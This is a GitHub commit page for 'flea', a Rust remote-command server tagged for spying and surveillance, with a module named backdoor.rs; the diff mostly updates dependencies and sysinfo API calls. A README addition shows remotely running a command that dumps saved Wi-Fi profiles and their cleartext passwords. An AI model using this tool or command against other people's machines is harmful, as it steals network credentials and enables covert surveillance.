Skip to content

Commit d6d68bb

Browse files
committed
Package upgrades, small fixes
1 parent 0403ce8 commit d6d68bb

File tree

6 files changed

+40
-22
lines changed

6 files changed

+40
-22
lines changed

Cargo.toml

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
[package]
22
name = "flea"
33
description = "A little server for executing remote commands."
4-
version = "0.2.3"
4+
version = "0.2.4"
55
edition = "2021"
66
keywords = ["server", "spying", "surveillance"]
77
authors = ["Rozen Software <rozsoft@wp.pl>"]
@@ -12,11 +12,11 @@ categories = ["command-line-utilities", "web-programming::websocket"]
1212

1313
[dependencies]
1414
log = "0.4.17"
15-
env_logger = "0.10.0"
15+
env_logger = "0.11.3"
1616
exitcode = "1.1.2"
1717
ctrlc = "3.3.0"
1818
getopts = "0.2.21"
19-
local-ip-address = "0.5.3"
19+
local-ip-address = "0.6.1"
2020
flealib = {path = "flealib", features = ["camera"], version = "0.2"}
2121

2222
[build-dependencies]

README.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -111,6 +111,18 @@ Upload test.txt file from FTP server to the host where Flea Server is running on
111111
./flea-client -a MY_SERVER_NAME -c upload -v test.txt
112112
```
113113

114+
Get network profiles:
115+
116+
```bash
117+
./flea-client -a MY_SERVER_IP -c bash -v "netsh wlan show profiles"
118+
```
119+
120+
and information with password:
121+
122+
```bash
123+
.\flea-client.exe -a 192.168.0.18 -c bash -v "netsh wlan show profile name=network_profile_name key=clear"
124+
```
125+
114126
Change current directory to the previous one:
115127

116128
```bash

flea-client/Cargo.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,6 @@ edition = "2021"
55

66
[dependencies]
77
log = "0.4.17"
8-
env_logger = "0.10.0"
8+
env_logger = "0.11.3"
99
getopts = "0.2.21"
1010
flea-client-lib = {path = "flea-client-lib"}

flealib/Cargo.toml

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,25 +1,25 @@
11
[package]
22
name = "flealib"
3-
version = "0.2.3"
3+
version = "0.2.4"
44
edition = "2021"
55

66
[dependencies]
7-
roxmltree = "0.18.0"
7+
roxmltree = "0.19.0"
88
log = "0.4.17"
9-
env_logger = "0.10.0"
9+
env_logger = "0.11.3"
1010
execute = "0.2.12"
1111
ftp = "3.0.1"
1212
scrap = "0.5"
1313
repng = "0.2.2"
1414
chrono = "0.4.24"
15-
confy = "0.5.1"
15+
confy = "0.6.1"
1616
serde = { version = "1.0", features = ["derive"] }
17-
device_query = "1.1.3"
17+
device_query = "2.0.0"
1818
process_list = "0.2.1"
1919
winapi = {version = "0.3.9", features = ["psapi", "shellapi"]}
20-
rusqlite = { version = "0.29.0", features = ["bundled"] }
21-
rust-ini = "0.19.0"
22-
sysinfo = "0.29.0"
20+
rusqlite = { version = "0.31.0", features = ["bundled"] }
21+
rust-ini = "0.21.0"
22+
sysinfo = "0.30.11"
2323

2424
[target.'cfg(unix)'.dependencies]
2525
rscam = "0.5.5"

flealib/src/systemcmd.rs

Lines changed: 15 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
#[cfg(target_os = "linux")]
22
use std::process::Command;
33
use log::debug;
4-
use sysinfo::{NetworkExt, System, SystemExt, UserExt};
4+
use sysinfo::{Disks, Networks, System, Users};
55

66
#[cfg(target_os = "windows")]
77
use process_list::for_each_process;
@@ -163,10 +163,10 @@ impl SystemCmd
163163
self.sys_info.refresh_all();
164164

165165
let mut ret = format!("System name: {:?}\r\nSystem kernel version: {:?}\r\nSystem OS version: {:?}\r\nSystem OS (long) version: {:?}\r\nCPUs: {}\r\n",
166-
self.sys_info.name().unwrap_or_else(|| "<unknown>".to_owned()),
167-
self.sys_info.kernel_version().unwrap_or_else(|| "<unknown>".to_owned()),
168-
self.sys_info.os_version().unwrap_or_else(|| "<unknown>".to_owned()),
169-
self.sys_info.long_os_version().unwrap_or_else(|| "<unknown>".to_owned()),
166+
System::name().unwrap_or_else(|| "<unknown>".to_owned()),
167+
System::kernel_version().unwrap_or_else(|| "<unknown>".to_owned()),
168+
System::os_version().unwrap_or_else(|| "<unknown>".to_owned()),
169+
System::long_os_version().unwrap_or_else(|| "<unknown>".to_owned()),
170170
self.sys_info.cpus().len());
171171

172172
const MB: u64 = 1024 * 1024;
@@ -180,31 +180,37 @@ impl SystemCmd
180180
ret.push_str(&str);
181181
ret.push_str("Users:\r\n");
182182

183-
for user in self.sys_info.users()
183+
let users = Users::new_with_refreshed_list();
184+
185+
for user in &users
184186
{
185187
let str = format!("{:?}\r\n", user.name());
186188
ret.push_str(&str);
187189
}
188190

189191
ret.push_str("Disks:\r\n");
190192

191-
for disk in self.sys_info.disks()
193+
let disks = Disks::new_with_refreshed_list();
194+
195+
for disk in &disks
192196
{
193197
let str = format!("{:?}\r\n", disk);
194198
ret.push_str(&str);
195199
}
196200

197201
ret.push_str("Networks:\r\n");
198202

199-
for (interface_name, data) in self.sys_info.networks()
203+
let networks = Networks::new_with_refreshed_list();
204+
205+
for (interface_name, data) in &networks
200206
{
201207
let str = format!("{}: {}/{} B\r\n", interface_name, data.received(), data.transmitted());
202208
ret.push_str(&str);
203209
}
204210

205211
ret.push_str("Uptime:\r\n");
206212

207-
let up = self.sys_info.uptime();
213+
let up = System::uptime();
208214
let days = up / 86400;
209215
let hours = (up % 86400) / 3600;
210216
let minutes = (up % 3600) / 60;

src/backdoor.rs

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -199,7 +199,7 @@ impl Backdoor
199199
let mut ret_buffer = Vec::<u8>::new();
200200
ret_buffer.extend_from_slice(ret.as_bytes());
201201

202-
match stream.write(&ret_buffer)
202+
match stream.write_all(&ret_buffer)
203203
{
204204
Ok(_) => {},
205205
Err(s) =>

0 commit comments

Comments
 (0)